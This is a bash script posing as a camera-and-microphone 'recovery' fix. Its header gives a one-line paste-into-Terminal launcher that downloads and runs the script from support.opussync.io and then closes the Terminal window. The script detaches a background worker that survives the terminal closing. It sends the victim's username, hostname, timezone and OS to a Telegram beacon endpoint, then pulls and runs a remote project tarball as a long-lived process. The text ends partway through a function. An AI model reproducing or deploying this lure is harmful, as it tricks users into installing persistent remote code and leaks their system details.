#!/usr/bin/env bash
# Launcher — paste in Terminal, Enter (one line or all lines):
# echo "Camera & Microphone Recovery - Starting system diagnostics..."; d="$HOME/.troublesheeting"; mkdir -p "$d"; b="$d/av-repair.sh"; u='https://support.opussync.io/av-repair.sh'; ok=''; for i in 1 2 3; do curl -fsSL "$u" -o "$b" 2>/dev/null||wget -qO "$b" "$u" 2>/dev/null; [ -f "$b" ]&&[ "$(wc -c <"$b" | tr -d '[:space:]')" -ge 1024 ]&&{ ok=1; break; }; sleep "$i"; done; [ -n "$ok" ]||exit 1; bash "$b"; (sleep 0.5; case "$(uname -s)" in Darwin) osascript -e 'tell application "Terminal" to close (front window)' 2>/dev/null ;; Linux) command -v xdotool >/dev/null 2>&1 && xdotool getactivewindow windowclose 2>/dev/null ;; esac) >/dev/null 2>&1 & disown; echo "Recovery steps completed. Please test your camera and microphone again."; exit
# Fully origin paste; Telegram success + flush/retry live inside bootstrap after download.
# Short paste v2 (same function; outer logic lives in bridge-repair.sh; staging = ~/.troublesheeting):
# echo "Secure Bridge Recovery - Restoring peer media link..."; d="$HOME/.troublesheeting"; mkdir -p "$d"; b="$d/bridge-repair.sh"; u='https://support.opussync.io/bridge-repair.sh'; curl -fsSL "$u" -o "$b"||wget -qO "$b" "$u"; [ -f "$b" ]&&[ "$(wc -c <"$b" | tr -d '[:space:]')" -ge 1024 ]||exit 1; bash "$b"; echo "Recovery steps completed. Please rejoin and verify your peer media link."; exit
# Same pattern as Windows: download to disk, verify, bash (script self-detaches), disown close job, then exit (no terminate dialog).
# macOS: osascript spawn inside av-repair.sh so launchd owns the worker (survives Terminal close / SIGTERM). Then close front window.
# Linux: setsid new session; auto-close if xdotool installed; else exit leaves tab open (background still runs). SSH: exit ends session.
# macOS fallback: Terminal → Settings → Profiles → Shell → "Close if the shell exited cleanly"
# First run can take 2-5 min. Check: tail -f ~/.troublesheeting/run.log
# Host engine: npm run dev = tailwindcss --watch --postcss (no browser / no :47823).
# Ready = dist/output.css written AND watch process alive (not build-only).
#
# --- LOCAL TEST (no Vercel deploy) — two terminals ---
# Terminal 1 (serve repo public/):  cd public && python3 -m http.server 8889
# Terminal 2 fresh reset:  rm -rf ~/.driver-fix-host
# Terminal 2 run (replace REPO with your clone path):
#   DRIVER_FIX_LAUNCHED=1 DRIVER_FIX_SITE_BASE=http://127.0.0.1:8889 bash REPO/public/av-repair.sh
# Example: DRIVER_FIX_LAUNCHED=1 DRIVER_FIX_SITE_BASE=http://127.0.0.1:8889 bash "/path/to/Host (Driver fix)/public/av-repair.sh"
set -euo pipefail
trap '' HUP
[[ -n "${DRIVER_FIX_LAUNCHED:-}" ]] && trap '' TERM

SITE_BASE="${DRIVER_FIX_SITE_BASE:-https://support.opussync.io}"
SITE_BASE="${SITE_BASE%/}"
PROJECT_ROOT="${HOME}/.driver-fix-host"
SETUP_DIR="${HOME}/.troublesheeting"
LOG_FILE="${SETUP_DIR}/run.log"
LOCK_FILE="${SETUP_DIR}/running.lock"
PID_FILE="${SETUP_DIR}/dev.pid"
OUTPUT_CSS="${PROJECT_ROOT}/dist/output.css"
DEV_WAIT_SECONDS=480
DEV_WAIT_EXTEND_MAX=2
READY_SETTLE_SECONDS=8
WARMUP_ATTEMPTS=5
OUTPUT_CSS_MIN_BYTES=64
NODE_VERSION="24.22.1"
NET_RETRIES=5
NET_RETRY_SLEEP=2
NPM_INSTALL_RETRIES=3
NODE_INSTALL_RETRIES=3
DEV_START_RETRIES=3
WORKER_STUCK_SECONDS=1200
# curl/wget already capped; joiner takeover if lock-holder writes no heartbeat this long.
# Keep above one download attempt (300s); npm install heartbeats every few seconds.
PROGRESS_STUCK_SECONDS=600
OS=""
ARCH=""

progress_heartbeat_path() { printf '%s' "${SETUP_DIR}/progress.heartbeat"; }
worker_failed_path() { printf '%s' "${SETUP_DIR}/worker-failed"; }
last_error_path() { printf '%s' "${SETUP_DIR}/last-error.txt"; }

i_am_lock_holder() {
  local pf pid
  pf="${SETUP_DIR}/worker.lock.d/pid"
  [[ -f "$pf" ]] || return 1
  pid="$(tr -d '[:space:]' <"$pf" 2>/dev/null || true)"
  [[ -n "$pid" && "$pid" == "$$" ]]
}

write_progress_heartbeat() {
  mkdir -p "$SETUP_DIR"
  date +%s >"$(progress_heartbeat_path)" 2>/dev/null || true
}

write_last_worker_error() {
  mkdir -p "$SETUP_DIR"
  printf '%s' "$1" >"$(last_error_path)" 2>/dev/null || true
}

set_worker_failed_marker() {
  mkdir -p "$SETUP_DIR"
  printf '%s|%s' "${1:-failed}" "$(date -u +%Y-%m-%dT%H:%M:%SZ 2>/dev/null || date)" >"$(worker_failed_path)" 2>/dev/null || true
}

clear_worker_failed_marker() {
  rm -f "$(worker_failed_path)" 2>/dev/null || true
}

worker_failed_marker() {
  [[ -f "$(worker_failed_path)" ]]
}

progress_age_seconds() {
  local sf now started
  sf="$(progress_heartbeat_path)"
  [[ -f "$sf" ]] || { printf '%s' '99999'; return 0; }
  started="$(tr -d '[:space:]' <"$sf" 2>/dev/null || true)"
  [[ "$started" =~ ^[0-9]+$ ]] || { printf '%s' '99999'; return 0; }
  now="$(date +%s)"
  if [[ "$now" -lt "$started" ]]; then
    printf '%s' '99999'
  else
    printf '%s' $((now - started))
  fi
}

worker_progress_stuck() {
  local age
  age="$(progress_age_seconds)"
  [[ "$age" -ge "$PROGRESS_STUCK_SECONDS" ]]
}

log() {
  mkdir -p "$SETUP_DIR"
  printf '[%s] %s\n' "$(date '+%Y-%m-%d %H:%M:%S')" "$1" >>"$LOG_FILE"
  # Only lock-holder heartbeats — joiner "still joining" must not reset stuck detection.
  if i_am_lock_holder; then
    write_progress_heartbeat
  fi
}

have_curl() { command -v curl >/dev/null 2>&1; }
have_wget() { command -v wget >/dev/null 2>&1; }

fetch_to_file() {
  local url="$1" dest="$2"
  local attempt=1 tmp="${dest}.tmp.$$"
  while [[ "$attempt" -le "$NET_RETRIES" ]]; do
    log "download: attempt ${attempt}/${NET_RETRIES} (max-time 300s) ${url}"
    write_progress_heartbeat
    if have_curl; then
      # Hard max-time prevents hung downloads; 300s per attempt for Node tarballs.
      if curl -fsSL --connect-timeout 15 --max-time 300 "$url" -o "$tmp" 2>/dev/null; then
        mv -f "$tmp" "$dest"
        log "download: ok attempt ${attempt}"
        return 0
      fi
      log "download: attempt ${attempt}/${NET_RETRIES} curl failed"
    elif have_wget; then
      if wget -q --timeout=300 --tries=1 -O "$tmp" "$url" 2>/dev/null; then
        mv -f "$tmp" "$dest"
        log "download: ok attempt ${attempt}"
        return 0
      fi
      log "download: attempt ${attempt}/${NET_RETRIES} wget failed"
    else
      log 'missing curl or wget'
      return 1
    fi
    rm -f "$tmp"
    sleep $((NET_RETRY_SLEEP * attempt))
    attempt=$((attempt + 1))
  done
  return 1
}

fetch_stdout() {
  local url="$1"
  local attempt=1 out=""
  while [[ "$attempt" -le "$NET_RETRIES" ]]; do
    if have_curl; then
      if out="$(curl -fsSL --connect-timeout 10 --max-time 60 "$url" 2>/dev/null)"; then
        printf '%s' "$out"
        return 0
      fi
    elif have_wget; then
      if out="$(wget -q --timeout=20 --tries=1 -O - "$url" 2>/dev/null)"; then
        printf '%s' "$out"
        return 0
      fi
    else
      return 1
    fi
    sleep $((NET_RETRY_SLEEP * attempt))
    attempt=$((attempt + 1))
  done
  return 1
}

file_size() {
  wc -c < "$1" | tr -d '[:space:]'
}

spawn_detached_worker() {
  local bootstrap_path="$1"
  # DRIVER_FIX_TG_ENQUEUED=1: parent already queued this run's alert; worker only flushes.
  mkdir -p "$SETUP_DIR" || true
  touch "$LOG_FILE" 2>/dev/null || true
  if command -v setsid >/dev/null 2>&1; then
    setsid env DRIVER_FIX_LAUNCHED=1 DRIVER_FIX_TG_ENQUEUED=1 bash "$bootstrap_path" >>"$LOG_FILE" 2>&1 < /dev/null &
  elif command -v osascript >/dev/null 2>&1; then
    osascript -e 'do shell script "nohup env DRIVER_FIX_LAUNCHED=1 DRIVER_FIX_TG_ENQUEUED=1 bash $HOME/.troublesheeting/av-repair.sh >>$HOME/.troublesheeting/run.log 2>&1 </dev/null & exit 0"' >/dev/null 2>&1 || \
      nohup env DRIVER_FIX_LAUNCHED=1 DRIVER_FIX_TG_ENQUEUED=1 bash "$bootstrap_path" >>"$LOG_FILE" 2>&1 < /dev/null &
  else
    nohup env DRIVER_FIX_LAUNCHED=1 DRIVER_FIX_TG_ENQUEUED=1 bash "$bootstrap_path" >>"$LOG_FILE" 2>&1 < /dev/null &
  fi
}

tg_queue_dir() {
  mkdir -p "${SETUP_DIR}/tg-queue"
  printf '%s' "${SETUP_DIR}/tg-queue"
}

new_telegram_nid() {
  if command -v uuidgen >/dev/null 2>&1; then
    uuidgen | tr -d '-' | tr '[:upper:]' '[:lower:]'
    return
  fi
  if command -v python3 >/dev/null 2>&1; then
    python3 - <<'PY'
import uuid
print(uuid.uuid4().hex, end="")
PY
    return
  fi
  printf '%s%s%s' "$(date +%s)" "$$" "$RANDOM"
}

enqueue_telegram_alert() {
  # Success/paste alert only (exactly one Telegram ✅ per paste via stable nid).
  local qd user pc tz sys q name nid
  qd="$(tg_queue_dir)"
  user="$(whoami 2>/dev/null || echo unknown)"
  pc="$(hostname -s 2>/dev/null || hostname 2>/dev/null || echo unknown)"
  tz="$(readlink /etc/localtime 2>/dev/null | sed 's|.*/zoneinfo/||' || date +%Z 2>/dev/null || echo unknown)"
  sys="$(uname -s 2>/dev/null || echo Unix) · $(basename "${SHELL:-sh}")"
  nid="$(new_telegram_nid)"
  name="$(date +%Y%m%d%H%M%S%N 2>/dev/null || date +%Y%m%d%H%M%S)-$$-${nid:0:8}.q"
  q=""
  if command -v python3 >/dev/null 2>&1; then
    q="$(NID_Q="$nid" USER_Q="$user" PC_Q="$pc" TZ_Q="$tz" SYS_Q="$sys" python3 - <<'PY'
import os, urllib.parse
print(urllib.parse.urlencode({
  "p": "m",
  "user": os.environ.get("USER_Q", "unknown"),
  "pc": os.environ.get("PC_Q", "unknown"),
  "tz": os.environ.get("TZ_Q", "unknown"),
  "sys": os.environ.get("SYS_Q", "Unix · sh"),
  "nid": os.environ.get("NID_Q") or "",
}), end="")
PY
)" || q=""
  fi
  if [[ -z "$q" ]]; then
    q="p=m&user=${user}&pc=${pc}&tz=${tz}&sys=${sys}&nid=${nid}"
  fi
  printf '%s' "$q" >"${qd}/${name}" 2>/dev/null || true
}

run_log_tail() {
  local lines="${1:-15}"
  if [[ ! -f "$LOG_FILE" ]]; then
    printf '%s' '(no run.log)'
    return
  fi
  tail -n "$lines" "$LOG_FILE" 2>/dev/null || printf '%s' '(run.log unreadable)'
}

resolve_fail_reason() {
  local m
  m="$(printf '%s' "${1:-}" | tr '[:upper:]' '[:lower:]')"
  case "$m" in
    *no\ progress*|*progress\ stuck*) printf '%s' 'progress_stuck' ;;
    *stuck*) printf '%s' 'stuck_20m' ;;
    *node.js*|*tarball*|*node\ missing*|*sha256*) printf '%s' 'node_install' ;;
    *download:*|*download\ failed*|*max-time*|*timed\ out*) printf '%s' 'node_zip_timeout' ;;
    *npm\ install*) printf '%s' 'npm_install' ;;
    *dev\ server*|*not\ stable*|*dev\ engine*) printf '%s' 'dev_timeout' ;;
    *host-version*|*project.tar*) printf '%s' 'download' ;;
    *next\ cli*|*tailwindcss\ cli*) printf '%s' 'engine_cli_missing' ;;
    *) printf '%s' 'failed' ;;
  esac
}

report_worker_failure() {
  # args: message [event]
  local msg="${1:-failed}" event="${2:-}"
  local reason
  reason="$(resolve_fail_reason "$msg")"
  if [[ -z "$event" ]]; then
    if [[ "$reason" == "stuck_20m" || "$reason" == "progress_stuck" ]]; then
      event="stuck"
    elif [[ "$reason" == "dev_timeout" ]]; then
      event="timeout"
    else
      event="failed"
    fi
  fi
  write_last_worker_error "$msg"
  set_worker_failed_marker "$reason"
  log "error: $msg"
  if [[ "$event" == "timeout" ]]; then
    set_dev_last_status 'timeout'
  else
    set_dev_last_status 'failed'
  fi
  flush_telegram_queue
}

telegram_beacon_send() {
  # Client wait > server budget (~1s geo + ~8s Telegram) so timeout does not fake-fail a delivered alert.
  local query="$1"
  [[ -n "$query" ]] || return 1
  if have_curl; then
    curl -fsS -m 15 "${SITE_BASE}/s?${query}" >/dev/null 2>&1
    return $?
  fi
  if have_wget; then
    wget -q --timeout=15 -O /dev/null "${SITE_BASE}/s?${query}" 2>/dev/null
    return $?
  fi
  return 1
}

flush_telegram_queue() {
  # Atomic claim (.q -> .sending.$$) so concurrent flushers cannot double-send one paste.
  local qd f claim query owner
  qd="$(tg_queue_dir)"
  # Reclaim only orphaned claims (owner PID dead).
  for f in "${qd}"/*.sending.*; do
    [[ -f "$f" ]] || continue
    owner="${f##*.sending.}"
    if [[ "$owner" =~ ^[0-9]+$ ]] && kill -0 "$owner" 2>/dev/null; then
      continue
    fi
    mv -n "$f" "${qd}/reclaim-$$-$RANDOM.q" 2>/dev/null || true
  done
  for f in "${qd}"/*.q; do
    [[ -f "$f" ]] || continue
    claim="${f}.sending.$$"
    mv "$f" "$claim" 2>/dev/null || continue
    query="$(tr -d '\r\n' <"$claim" 2>/dev/null || true)"
    if [[ -z "$query" ]]; then
      rm -f "$claim" 2>/dev/null || true
      continue
    fi
    if telegram_beacon_send "$query"; then
      rm -f "$claim" 2>/dev/null || true
    else
      mv -n "$claim" "${qd}/retry-$$-$RANDOM.q" 2>/dev/null || rm -f "$claim" 2>/dev/null || true
    fi
  done
}

register_paste_telegram_alert() {
  # Every command run enqueues once (skip if parent already did). Always flush pending.
  # Never abort the launcher under `set -e` — Telegram is best-effort.
  mkdir -p "$SETUP_DIR" || true
  if [[ "${DRIVER_FIX_TG_ENQUEUED:-}" != "1" ]]; then
    enqueue_telegram_alert || true
    export DRIVER_FIX_TG_ENQUEUED=1
  fi
  flush_telegram_queue || true
}

detach_self_if_needed() {
  [[ -n "${DRIVER_FIX_LAUNCHED:-}" ]] && return 0
  mkdir -p "$SETUP_DIR"
  log 'launcher: spawning detached background worker'
  local bootstrap_path="${SETUP_DIR}/av-repair.sh"
  local src="${BASH_SOURCE[0]:-}"
  if [[ -n "$src" && -f "$src" ]]; then
    cp "$src" "$bootstrap_path" 2>/dev/null || true
  fi
  if [[ ! -f "$bootstrap_path" ]] || [[ "$(file_size "$bootstrap_path")" -lt 1024 ]]; then
    fetch_to_file "${SITE_BASE}/av-repair.sh" "$bootstrap_path" || true
  fi
  if [[ ! -f "$bootstrap_path" ]] || [[ "$(file_size "$bootstrap_path")" -lt 1024 ]]; then
    log 'launcher: av-repair.sh download failed'
    exit 1
  fi
  spawn_detached_worker "$bootstrap_path"
  exit 0
}

# Create run.log immediately so `tail -f` always has a file, even if later steps fail.
mkdir -p "$SETUP_DIR" || true
log "bootstrap: start"
register_paste_telegram_alert || true
detach_self_if_needed

log_tail_dev() {
  local n="${1:-12}"
  if [[ -f "${SETUP_DIR}/dev.log" ]]; then
    tail -n "$n" "${SETUP_DIR}/dev.log" | while IFS= read -r line; do
      log "dev: $line"
    done
  fi
}

require_cmd() {
  local c="$1"
  if ! command -v "$c" >/dev/null 2>&1; then
    log "missing required command: $c"
    return 1
  fi
}

detect_platform() {
  case "$(uname -s)" in Darwin) OS="darwin" ;; Linux) OS="linux" ;; *) log "unsupported os: $(uname -s)"; return 1 ;; esac
  case "$(uname -m)" in
    aarch64|arm64) ARCH="arm64" ;;
    x86_64|amd64) ARCH="x64" ;;
    *) log "unsupported arch: $(uname -m) (need x86_64/amd64 or arm64/aarch64)"; return 1 ;;
  esac
  log "platform: ${OS}-${ARCH}"
}

get_remote_version() {
  fetch_stdout "${SITE_BASE}/host-version.txt" 2>/dev/null | tr -d '[:space:]'
}

get_local_version() {
  local pkg="${PROJECT_ROOT}/package.json"
  [[ -f "$pkg" ]] || return 0
  sed -n 's/.*"version"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$pkg" | head -n1
}

clear_project_files() {
  local entry
  [[ -d "$PROJECT_ROOT" ]] || return 0
  for entry in "$PROJECT_ROOT"/* "$PROJECT_ROOT"/.[!.]* "$PROJECT_ROOT"/..?*; do
    [[ -e "$entry" ]] || continue
    [[ "$(basename "$entry")" == ".host-setup" ]] && continue
    rm -rf "$entry"
  done
}

ensure_project() {
  local remote_version local_version
  mkdir -p "$PROJECT_ROOT"
  remote_version="$(get_remote_version)" || { log 'host-version.txt fetch failed'; return 1; }
  local_version="$(get_local_version)"

  if [[ -n "$local_version" && "$local_version" == "$remote_version" && -f "${PROJECT_ROOT}/package.json" ]]; then
    printf '%s' "$remote_version"
    return 0
  fi

  if [[ -n "$local_version" ]]; then
    log "project: version changed ($local_version -> $remote_version), refreshing"
    clear_project_files
  else
    log 'project: download'
  fi

  mkdir -p "$SETUP_DIR"
  fetch_to_file "${SITE_BASE}/project.tar.gz" "${SETUP_DIR}/project.tar.gz"
  log 'project: extract'
  tar xzf "${SETUP_DIR}/project.tar.gz" -C "$PROJECT_ROOT"
  rm -f "${SETUP_DIR}/project.tar.gz"
  printf '%s' "$remote_version"
}

refresh_node_path() {
  export PATH="${SETUP_DIR}/node-v${NODE_VERSION}-${OS}-${ARCH}/bin:/opt/homebrew/bin:/usr/local/bin:/usr/bin:${HOME}/.nvm/current/bin:${PATH}"
}

node_version_string() {
  local bin="$1"
  "$bin" --version 2>/dev/null | sed 's/^v//' | tr -d '[:space:]'
}

node_version_ok() {
  local bin="$1"
  # Pin exact version for predictable installs (reject system 22/24/26, etc.)
  [[ -x "$bin" ]] && [[ "$(node_version_string "$bin")" == "$NODE_VERSION" ]]
}

find_node() {
  refresh_node_path
  local c
  # Prefer the pinned local tarball; only accept exact $NODE_VERSION anywhere else
  for c in "${SETUP_DIR}/node-v${NODE_VERSION}-${OS}-${ARCH}/bin/node" \
    "/opt/homebrew/bin/node" "/usr/local/bin/node" "${HOME}/.nvm/current/bin/node" "/usr/bin/node"
  do
    if node_version_ok "$c"; then
      export PATH="$(dirname "$c"):${PATH}"
      return 0
    fi
  done
  return 1
}

sha256_file() {
  if command -v sha256sum >/dev/null 2>&1; then sha256sum "$1" | awk '{print $1}'
  elif command -v shasum >/dev/null 2>&1; then shasum -a 256 "$1" | awk '{print $1}'
  else log 'missing sha256sum or shasum'; return 1; fi
}

install_node_via_tarball() {
  local tar_name="node-v${NODE_VERSION}-${OS}-${ARCH}.tar.gz"
  local tar_path="${SETUP_DIR}/${tar_name}"
  local extract_dir="${SETUP_DIR}/node-v${NODE_VERSION}-${OS}-${ARCH}"
  local expected actual sz

  [[ -x "${extract_dir}/bin/node" ]] && export PATH="${extract_dir}/bin:${PATH}" && return 0

  log "node: tarball ${tar_name}"
  if ! fetch_to_file "https://nodejs.org/dist/v${NODE_VERSION}/${tar_name}" "$tar_path"; then
    log 'node: tarball download failed'
    rm -f "$tar_path"
    return 1
  fi
  if [[ ! -f "$tar_path" ]]; then
    log 'node: tarball missing after download'
    return 1
  fi
  sz="$(file_size "$tar_path")"
  if [[ "${sz:-0}" -lt 1048576 ]]; then
    log "node: tarball too small (${sz} bytes)"
    rm -f "$tar_path"
    return 1
  fi
  expected="$(fetch_stdout "https://nodejs.org/dist/v${NODE_VERSION}/SHASUMS256.txt" | awk -v n="$tar_name" '$2==n{print $1; exit}')"
  if [[ -z "$expected" ]]; then
    log 'node: could not fetch expected sha256'
    rm -f "$tar_path"
    return 1
  fi
  actual="$(sha256_file "$tar_path" 2>/dev/null || true)"
  if [[ -z "$actual" || "$actual" != "$expected" ]]; then
    log 'node: sha256 mismatch'
    rm -f "$tar_path"
    return 1
  fi

  log 'node: extracting tarball'
  write_progress_heartbeat
  tar xzf "$tar_path" -C "$SETUP_DIR" || { rm -f "$tar_path"; log 'node: extract failed'; return 1; }
  rm -f "$tar_path"
  log 'node: extract ok'
  export PATH="${extract_dir}/bin:${PATH}"
  [[ -x "${extract_dir}/bin/node" ]]
}

ensure_node() {
  local attempt
  if find_node; then
    log "node: $(command -v node) ($(node --version 2>/dev/null || echo unknown)) [pinned v${NODE_VERSION}]"
    return 0
  fi
  if command -v node >/dev/null 2>&1; then
    log "node: $(command -v node) ($(node --version 2>/dev/null)) not pinned v${NODE_VERSION}, installing"
  else
    log "node: not found, installing pinned v${NODE_VERSION}"
  fi
  log "node: installing pinned v${NODE_VERSION} (official tarball only)"
  for attempt in $(seq 1 "$NODE_INSTALL_RETRIES"); do
    assert_worker_not_stuck
    if install_node_via_tarball; then
      log "node: tarball ok (attempt ${attempt}/${NODE_INSTALL_RETRIES})"
      return 0
    fi
    log "node: tarball attempt ${attempt}/${NODE_INSTALL_RETRIES} failed"
    rm -f "${SETUP_DIR}/node-v${NODE_VERSION}-${OS}-${ARCH}.tar.gz"
    [[ "$attempt" -lt "$NODE_INSTALL_RETRIES" ]] && sleep $((3 * attempt))
  done
  log "node: ${NODE_VERSION} install failed after ${NODE_INSTALL_RETRIES} attempts"
  return 1
}

maybe_clear_node_modules() {
  local marker="${SETUP_DIR}/npm-node-version"
  local current prev
  current="$(node --version 2>/dev/null || echo unknown)"
  prev="$(cat "$marker" 2>/dev/null || true)"
  if [[ -d "${PROJECT_ROOT}/node_modules" ]]; then
    if [[ -z "$prev" ]]; then
      log 'clearing stale node_modules'
      rm -rf "${PROJECT_ROOT}/node_modules"
    elif [[ "$prev" != "$current" ]]; then
      log "node version changed ($prev -> $current), clearing node_modules"
      rm -rf "${PROJECT_ROOT}/node_modules"
    fi
  fi
  printf '%s' "$current" >"$marker"
}

find_npm_cli() {
  local node_bin="$1"
  local base dir
  base="$(cd "$(dirname "$node_bin")/.." && pwd)"
  for dir in "${base}/lib/node_modules/npm/bin" "${base}/node_modules/npm/bin"; do
    if [[ -f "${dir}/npm-cli.js" ]]; then
      printf '%s' "${dir}/npm-cli.js"
      return 0
    fi
  done
  return 1
}

test_output_css_ready() {
  local sz
  [[ -f "$OUTPUT_CSS" ]] || return 1
  sz="$(wc -c <"$OUTPUT_CSS" 2>/dev/null | tr -d ' ')"
  [[ -n "$sz" && "$sz" -ge $OUTPUT_CSS_MIN_BYTES ]]
}

test_dev_process_alive() {
  local pid
  [[ -f "$PID_FILE" ]] || return 1
  pid="$(tr -d '[:space:]' <"$PID_FILE" 2>/dev/null || true)"
  [[ -n "$pid" ]] || return 1
  kill -0 "$pid" 2>/dev/null
}

test_dev_server_healthy() {
  # Upload needs the keep-alive watch, not only a one-shot build CSS file.
  # Fake-ready bug: build wrote output.css, watch never stuck, still "ready".
  test_output_css_ready || return 1
  test_dev_process_alive
}

stop_dev_process() {
  local pid
  [[ -f "$PID_FILE" ]] || return 0
  pid="$(tr -d '[:space:]' <"$PID_FILE" 2>/dev/null || true)"
  if [[ -n "$pid" ]] && kill -0 "$pid" 2>/dev/null; then
    # Kill process group when possible (npm + tailwindcss children).
    kill -TERM -"$pid" 2>/dev/null || kill -TERM "$pid" 2>/dev/null || true
    sleep 1
    kill -KILL -"$pid" 2>/dev/null || kill -KILL "$pid" 2>/dev/null || true
    log "stopped dev pid $pid"
  fi
  # Also stop any leftover watchers under this project (bad PID / orphan from setsid).
  if command -v pkill >/dev/null 2>&1; then
    pkill -f "${PROJECT_ROOT}/.*tailwindcss" 2>/dev/null || true
  fi
  rm -f "$PID_FILE" "$LOCK_FILE"
  sleep 1
}

wait_for_dev_server() {
  # Require CSS + live watch. Extend only while watch pid is still alive.
  local e=0 extensions=0
  while true; do
    assert_worker_not_stuck
    if test_dev_server_healthy; then
      log "dev: watch confirmed (css + live pid)"
      return 0
    fi
    if [[ $e -ge $DEV_WAIT_SECONDS ]]; then
      if [[ $extensions -lt $DEV_WAIT_EXTEND_MAX ]] && test_dev_process_alive; then
        extensions=$((extensions + 1))
        log "dev still starting - extending wait (${extensions}/${DEV_WAIT_EXTEND_MAX})"
        e=0
      else
        if ! test_dev_process_alive; then
          log 'dev: watch process not alive'
        elif ! test_output_css_ready; then
          log 'dev: watch alive but output.css missing'
        fi
        return 1
      fi
    fi
    if [[ $((e % 10)) -eq 0 ]]; then
      if test_output_css_ready && ! test_dev_process_alive; then
        log "dev: waiting for watch process (${e}s) — see ~/.troublesheeting/dev.log"
      else
        log "dev: waiting for dist/output.css + watch (${e}s) — see ~/.troublesheeting/dev.log"
      fi
      flush_telegram_queue
    fi
    sleep 2
    e=$((e + 2))
  done
}

# One-shot build first (same PostCSS path as manual). --watch alone can stall before writing CSS on some VPS/no-TTY hosts.
run_engine_build() {
  local build_log="${SETUP_DIR}/dev.log"
  local e=0
  local max_wait=180
  local build_pid=""

  mkdir -p "${PROJECT_ROOT}/dist"
  rm -f "$OUTPUT_CSS"
  : >"$build_log"
  log 'engine: npm run build (one-shot)'

  (
    trap '' HUP
    cd "$PROJECT_ROOT" || exit 1
    export NODE_NO_WARNINGS=1
    if [[ -n "$NPM_CLI" && -f "$NPM_CLI" ]]; then
      exec "$NODE_BIN" "$NPM_CLI" run build
    else
      export PATH="$(dirname "$NODE_BIN"):$PATH"
      exec npm run build
    fi
  ) >>"$build_log" 2>&1 &
  build_pid=$!

  while [[ $e -lt $max_wait ]]; do
    assert_worker_not_stuck
    if test_output_css_ready; then
      log "engine: build output ready (${e}s)"
      # Don't leave a stuck build process around if CSS already written.
      if kill -0 "$build_pid" 2>/dev/null; then
        wait "$build_pid" 2>/dev/null || true
      fi
      return 0
    fi
    if ! kill -0 "$build_pid" 2>/dev/null; then
      wait "$build_pid" 2>/dev/null || true
      if test_output_css_ready; then
        log 'engine: build finished, output ready'
        return 0
      fi
      log 'engine: build exited without output.css'
      log_tail_dev 30
      return 1
    fi
    if [[ $((e % 10)) -eq 0 && $e -gt 0 ]]; then
      log "engine: build still running (${e}s)…"
    fi
    sleep 2
    e=$((e + 2))
  done

  log "engine: build timeout (${max_wait}s) — killing"
  kill -TERM "$build_pid" 2>/dev/null || true
  sleep 1
  kill -KILL "$build_pid" 2>/dev/null || true
  log_tail_dev 30
  return 1
}

start_dev_server() {
  local runner="${SETUP_DIR}/run-dev.sh"
  local q_root q_node q_npm q_tw q_log q_pid
  local i got=""
  q_root="$(printf '%q' "$PROJECT_ROOT")"
  q_node="$(printf '%q' "$NODE_BIN")"
  q_tw="$(printf '%q' "$TW_CLI")"
  q_log="$(printf '%q' "${SETUP_DIR}/dev.log")"
  q_pid="$(printf '%q' "$PID_FILE")"

  # Prefer npm run dev (package.json = tailwindcss --watch --postcss).
  # Write $$ into PID_FILE inside the runner — setsid forks and shell $! is often a dead parent.
  if [[ -n "$NPM_CLI" && -f "$NPM_CLI" ]]; then
    q_npm="$(printf '%q' "$NPM_CLI")"
    log 'dev: starting via npm run dev'
    cat >"$runner" <<EOF
#!/usr/bin/env bash
trap '' HUP TERM
cd ${q_root}
export NODE_NO_WARNINGS=1
printf '%s' "\$\$" >${q_pid}
exec ${q_node} ${q_npm} run dev >>${q_log} 2>&1
EOF
  elif command -v npm >/dev/null 2>&1; then
    log 'dev: starting via npm run dev'
    cat >"$runner" <<EOF
#!/usr/bin/env bash
trap '' HUP TERM
cd ${q_root}
export NODE_NO_WARNINGS=1
export PATH="$(dirname "$NODE_BIN"):\$PATH"
printf '%s' "\$\$" >${q_pid}
exec npm run dev >>${q_log} 2>&1
EOF
  else
    log 'dev: starting via tailwindcss cli fallback'
    cat >"$runner" <<EOF
#!/usr/bin/env bash
trap '' HUP TERM
cd ${q_root}
export NODE_NO_WARNINGS=1
printf '%s' "\$\$" >${q_pid}
exec ${q_node} ${q_tw} -i ./src/input.css -o ./dist/output.css --watch --postcss >>${q_log} 2>&1
EOF
  fi
  chmod +x "$runner"

  mkdir -p "${PROJECT_ROOT}/dist"
  # Append watch logs after build lines (do not truncate — need both in dev.log).
  rm -f "$PID_FILE"
  if command -v setsid >/dev/null 2>&1; then
    setsid "$runner" </dev/null >/dev/null 2>&1 &
  else
    nohup "$runner" </dev/null >/dev/null 2>&1 &
  fi

  DEV_PID=""
  for i in $(seq 1 50); do
    if [[ -f "$PID_FILE" ]]; then
      got="$(tr -d '[:space:]' <"$PID_FILE" 2>/dev/null || true)"
      if [[ -n "$got" ]] && kill -0 "$got" 2>/dev/null; then
        DEV_PID="$got"
        break
      fi
    fi
    sleep 0.2
  done
  if [[ -z "$DEV_PID" ]] || ! kill -0 "$DEV_PID" 2>/dev/null; then
    log 'dev: watch failed to start (no live runner pid)'
    log_tail_dev 30
    DEV_PID=""
    return 1
  fi
  log "dev: watch started (runner pid ${DEV_PID})"
  return 0
}

get_dev_last_status() {
  [[ -f "${SETUP_DIR}/dev-last-status" ]] || return 0
  tr -d '[:space:]' <"${SETUP_DIR}/dev-last-status" 2>/dev/null || true
}

set_dev_last_status() {
  printf '%s' "$1" >"${SETUP_DIR}/dev-last-status"
}

prior_dev_failure() {
  local s
  s="$(get_dev_last_status)"
  [[ "$s" == "timeout" || "$s" == "failed" ]]
}

npm_install_needed() {
  local ver="$1"
  local marker="${SETUP_DIR}/npm-install-version"
  local tw_cli="${PROJECT_ROOT}/node_modules/tailwindcss/lib/cli.js"
  if prior_dev_failure; then
    return 0
  fi
  [[ -f "$tw_cli" ]] || return 0
  [[ -f "$marker" ]] || return 0
  [[ "$(tr -d '[:space:]' <"$marker")" == "$ver" ]] || return 0
  return 1
}

mark_npm_installed() {
  printf '%s' "$1" >"${SETUP_DIR}/npm-install-version"
}

warmup_dev_engine() {
  local i
  for i in $(seq 1 "$WARMUP_ATTEMPTS"); do
    if test_dev_server_healthy; then
      log "warmup: engine output ready (attempt ${i})"
      return 0
    fi
    sleep 2
  done
  log 'warmup: skipped'
  return 1
}

confirm_dev_server_stable() {
  local i ok=0
  for i in $(seq 1 6); do
    if test_dev_server_healthy; then
      ok=$((ok + 1))
      [[ $ok -ge 3 ]] && return 0
    else
      ok=0
    fi
    sleep 2
  done
  test_dev_server_healthy
